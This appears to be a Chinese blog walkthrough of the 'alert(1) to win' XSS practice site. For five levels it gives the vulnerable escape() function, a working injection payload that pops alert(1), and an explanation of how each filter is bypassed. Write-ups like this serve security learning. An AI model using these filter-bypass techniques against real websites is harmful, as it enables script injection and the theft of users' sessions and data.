【alert(1) to win】不完全攻略
阿新 • • 發佈:2018-05-24
14. element PE win 一次 RM 處理 one pan
alert(1) to win
一個練習XSS的平臺,地址:https://alf.nu/alert1
Warmup(14)
給出了一段JavaScript代碼
function escape(s) { return ‘<script>console.log("‘+s+‘");</script>‘; }
對s沒有任何校驗,payload為
");alert(1);("
或者
");alert(1);//
Adobe (15)
代碼如下
function escape(s) { s = s.replace(/"/g, ‘\\"‘); return ‘<script>console.log("‘ + s + ‘");</script>‘; }
全局替換了 " 為 \" ,就是說轉義了雙引號而沒有轉義轉義字符 \
payload如下
\");alert(1)//
JSON (27)
function escape(s) { s = JSON.stringify(s); return ‘<script>console.log(‘ + s + ‘);</script>‘; }
使用了JSON.stringify()函數對s進行處理,該函數會對雙引號 " 和轉義字符 \ 進行轉義,沒有對 < > ‘ / 字符進行處理。
payload如下
)</script><script>alert(1)//
閉合括號然後閉合script標簽,創建一個新的script標簽來執行alert(1),//註釋掉多余的字符串
JavaScript (15)
function escape(s) { var url = ‘javascript:console.log(‘ + JSON.stringify(s) + ‘)‘; console.log(url); var a = document.createElement(‘a‘); a.href = url; document.body.appendChild(a); a.click(); }
這個有點意思,先上payload吧
%22);alert(1)//
url是放到a標簽的href屬性中執行的,href 屬性用於指定超鏈接目標的 URL,是支持URL編碼的,%22是雙引號 " 的URL編碼
構造出的a標簽為
<a href=javascript:console.log("%22);alert(1)//")></a>
a.click()執行的時候觸發了alert(1)
Markdown (31)
function escape(s) { var text = s.replace(/</g, ‘<‘).replace(/"/g, ‘"‘); // URLs text = text.replace(/(http:\/\/\S+)/g, ‘<a href="$1">$1</a>‘); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, ‘<img alt="$2" src="$1.gif">‘); return text; }
第一行代碼將所有 < " 字符進行了轉義
第二行是將形如 http://S+ 的字符串改寫為 <a href="http://S+">http://S+</a> (S+為匹配一個非空白字符一次或多次)
第三行將形如 [[a|b]] 的字符串改寫為 <img alt="b" src="a.gif">
先放出payload
[[a|http://onerror=alert(1)//]]
該函數構造的結果為
<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>
利用 // 來代替空格,href的起始 " 閉合alt的 ",在於 // 註釋掉最後的 "
【alert(1) to win】不完全攻略